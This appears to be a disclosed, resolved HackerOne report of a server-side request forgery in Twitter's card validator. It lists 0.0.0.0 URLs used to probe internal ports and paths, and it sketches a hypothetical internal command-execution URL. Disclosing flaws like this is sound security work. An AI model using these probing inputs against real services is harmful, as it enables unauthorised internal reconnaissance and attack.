SSRF in https://cards-dev.twitter.com/validator
Medium
X
X (Formerly Twitter)
Submitted None
Actions:
Reported by
mindaugas
Vulnerability Details
Technical details and impact analysis
Hello,
After my previous report (2 years ago) https://hackerone.com/reports/30860 you fixed the vulnerability, but now it looks like this fix was reverted and the same problem exists again.
Test scenario:
Open https://cards-dev.twitter.com/validator
1. Closed port on localhost
http://0.0.0.0:123 -> ERROR: Fetching the page failed because other errors.
2. Open port but not HTPP
http://0.0.0.0:22 -> ERROR: Failed to fetch page due to: ChannelClosed
3. Open HTPP port
http://0.0.0.0:4680
->
INFO: Page fetched successfully
INFO: 2 metatags were found
WARN: Not whitelisted
4. Existing folder
http://0.0.0.0:4680/system/
->
INFO: Page fetched successfully
INFO: 2 metatags were found
WARN: Not whitelisted
5. None existis folder
http://0.0.0.0:4680/system/
->
http://0.0.0.0:4680/test/
INFO: Page fetched successfully
WARN: No metatags found
Disaster scenario:
Find open HTTP service running on local infrastructure with ability to execute commands.
For example:
http://0.0.0.0:4680/system/command.php?command=[ROOT_COMMAND]
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Server-Side Request Forgery (SSRF)